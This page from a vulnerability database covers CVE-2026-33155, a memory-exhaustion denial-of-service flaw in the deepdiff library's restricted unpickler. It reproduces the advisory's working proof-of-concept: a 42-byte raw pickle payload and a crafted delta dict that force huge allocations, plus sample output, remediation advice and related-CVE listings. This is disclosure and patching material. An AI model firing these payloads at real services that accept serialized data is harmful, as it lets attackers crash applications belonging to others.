Python
CVE-2026-33155
HIGH
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionGitHub Advisory
Summary
The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.
Details
CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.
It can be exploited in 2 ways.
1 - During pickle_load
A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.
GLOBAL builtins.bytes (passes find_class check - serialization.py:353)
INT 10000000000 (10 billion)
TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB2 - During delta application
A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.
PoC
The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 108 to 1010 for the full 9.3 GB allocation.
import resource
import sys
def limit_memory(maxsize_mb):
"""Cap virtual memory for this process."""
soft, hard = resource.getrlimit(resource.RLIMIT_AS)
maxsize_bytes = maxsize_mb * 1024 * 1024
try:
resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
print(f"[*] Memory limit set to {maxsize_mb} MB")
except ValueError:
print("[!] Failed to set memory limit.")
sys.exit(1)
# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load
limit_memory(1024)
# --- Delta application path ---
payload_dict = {
'values_changed': {"root['x']": {'new_value': 10**8}},
'type_changes': {"root['x']": {'new_type': bytes}},
}
payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")
target = {'x': 'anything'}
try:
result = target + Delta(payload1)
print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
print("[!] MemoryError - payload tried to allocate too much")
# --- Raw pickle path ---
payload2 = (
b"(dp0\n"
b"S'_'\n"
b"cbuiltins\nbytes\n"
b"(I100000000\n"
b"tR"
b"s."
)
print(f"Payload size: {len(payload2)} bytes")
try:
result2 = pickle_load(payload2)
print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
print("[!] MemoryError - payload tried to allocate too much")Output:
[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MBImpact
Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.
The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.
Impacted users are anyone who accepts serialized delta objects from untrusted sources - network APIs, file uploads, message queues, etc.
AnalysisAI
Memory exhaustion in Python's pickle deserialization allows attackers to crash applications by supplying a small malicious payload that forces allocation of gigabytes of memory through unrestricted constructor arguments in whitelisted classes. Applications using _RestrictedUnpickler to load untrusted pickle data are vulnerable to denial of service attacks. A patch is available.
Technical ContextAI
The deepdiff library (pkg:pip/deepdiff per CPE data) implements a restricted unpickler (_RestrictedUnpickler) to safely deserialize delta objects by maintaining a SAFE_TO_IMPORT allowlist of permitted classes. This vulnerability represents CWE-400 (Uncontrolled Resource Consumption) where the unpickler correctly gates which classes can be loaded via find_class() but fails to intercept REDUCE opcodes or validate constructor arguments. Certain allowed types including builtins.bytes, builtins.list, and builtins.range have constructors that allocate memory proportional to their input parameters. The vulnerability can be exploited through direct pickle_load() calls using REDUCE opcodes to invoke bytes(N) with arbitrary N values, or through delta application where values_changed operations set large integers that are subsequently converted to bytes via type_changes, with _do_values_changed() executing before _do_type_changes() in the processing chain. This represents an incomplete fix to CVE-2025-58367 which hardened against code injection but left resource exhaustion unmitigated.
RemediationAI
Upgrade deepdiff to the patched version containing commit 0d07ec21d12b46ef4e489383b363eadc22d990fb or later as documented in the GitHub security advisory at https://github.com/seperman/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q and patch reference https://github.com/seperman/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb. Until patching is completed, implement defense-in-depth controls including input size limits on serialized data (reject payloads exceeding reasonable thresholds), memory resource limits using cgroups or container resource constraints to contain potential exhaustion, and avoid deserializing delta objects or using pickle_load with any untrusted input sources. For critical services, consider switching to safer serialization formats like JSON for delta representation or implementing application-level validation of deserialized object sizes before full processing.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| openSUSE Tumbleweed | Fixed |
| openSUSE Leap 15.6 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-54jj-px8x-5w5q